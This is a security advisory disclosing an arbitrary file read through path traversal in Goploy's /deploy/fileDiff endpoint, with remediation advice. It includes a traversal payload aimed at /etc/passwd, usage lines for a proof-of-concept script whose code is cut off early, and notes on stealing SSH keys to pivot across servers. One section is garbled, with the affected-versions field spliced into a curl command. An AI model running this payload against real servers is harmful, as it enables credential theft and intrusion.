GHSA-4g5x-hcwm-82jw Goploy: Arbitrary File Read via Path Traversal in /deploy/fileDiff allows Remote Server Compromise

• Go github.com/zhenorzz/goploy: < 1.18.0 → fixed in 1.18.0

Goploy System Arbitrary File Read Vulnerability Basic Information • Vulnerability Name: Goploy Endpoints Arbitrary File Read via Path Traversal • Affected Product: Goploy • Known Affected Versions: " \ -H "Content-Type: application/json" \ -H "G-N-ID: 1" \ -d '{"projectId":1,"serverId":1,"filePath":"../../../../../../../../../../etc/passwd"}' \ "http:///deploy/fileDiff" ``` 3. Reproduction Result The server will return the complete contents of the `/etc/passwd` file from both the host and the remote server. Concrete Steps 1. Environment Setup Published an arbitrary project using the super admin account: Configured two managed remote servers: Created a normal user and assigned the `member` role (which includes File Compare permission): 2. Obtain Normal User Privileges Log in to the system using the registered `test` account to obtain valid authentication credentials (Cookie/Token). 3. Execute poc.py (See below) • Parameter Explanation: `-u` : Target URL `-t` : Target Cookie/Token to use `-f` : File to read `-s` : ID of the managed server to read from • Reading from the first managed server (Server ID: 1): ```bash python poc.py -u http://192.168.x.x:8080 -t eyJhbGxxxxxxxxxx... -f /etc/passwd -s 1 ``` • Reading from the second managed server (Server ID: 2): ```bash python poc.py -u http://192.168.x.x:8080 -t eyJhbGxxxxxxxxxx... -f /etc/passwd -s 2 ``` 4. Reproduction Result The server successfully returns the full contents of the `/etc/passwd` file from both the Goploy host and the designated remote servers. Impact Through this vulnerability, an attacker can bypass authorization to read any sensitive files on the host machine as well as all managed target servers. For example: • Read `/etc/passwd` or `/etc/shadow` on the local or remote target servers to obtain host system user information. • Read users' SSH private keys (e.g., `~/.ssh/id_rsa`) across different systems, enabling passwordless SSH access to the host or cross-network connections to other servers to steal administrative control, achieving the equivalent of Remote Code Execution (RCE). • By enumerating the `serverID`, an attacker can use Goploy as a jump server (bastion host) to conduct large-scale information theft against all bound deployment target systems. • Obtain various critical configuration files, database credentials, etc., of the affected systems. Remediation Suggestions 1. Input Parameter Filtering: Strictly filter special characters such as `../`, `..\`, and `%00` that can cause directory traversal and truncation when receiving and processing file paths provided by clients. 2. Path Whitelist Constraints: Use built-in functions like `filepath.Clean` to format the path. Before executing system file read/write operations, strictly verify whether the parsed absolute path prefix is within the legitimate restricted directory scope allowed by the application (such as a preset sandbox directory or project workspace). 3. Principle of Least Privilege: The environment or Docker container running the Goploy service should be executed with low-privileged user identities whenever possible, to mitigate the risk of sensitive system files being read. 4. Comprehensive API Audit: Apart from the APIs mentioned above, there are multiple other APIs that suffer from similar path traversal vulnerabilities. If users obtain the corresponding permissions, it can lead to arbitrary file reads or even writes. poc.py ```python !/usr/bin/env python3 import requests import argparse import sys import urllib3 import json urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def banner(): print(r""" ____ _ ____ ____ / ___| ___ _ __ | | ___ _ _ | _ \ ___ / ___| | | _ / _ \| '_ \| |/ _ \| | | | | |_) / _ \ | | |_| | (_) | |_) | | (_) | |_| | | __/ (_) | |___ \____|\___/| .__/|_|\___/ \__, | |_| \___/ \____| |_| |___/ …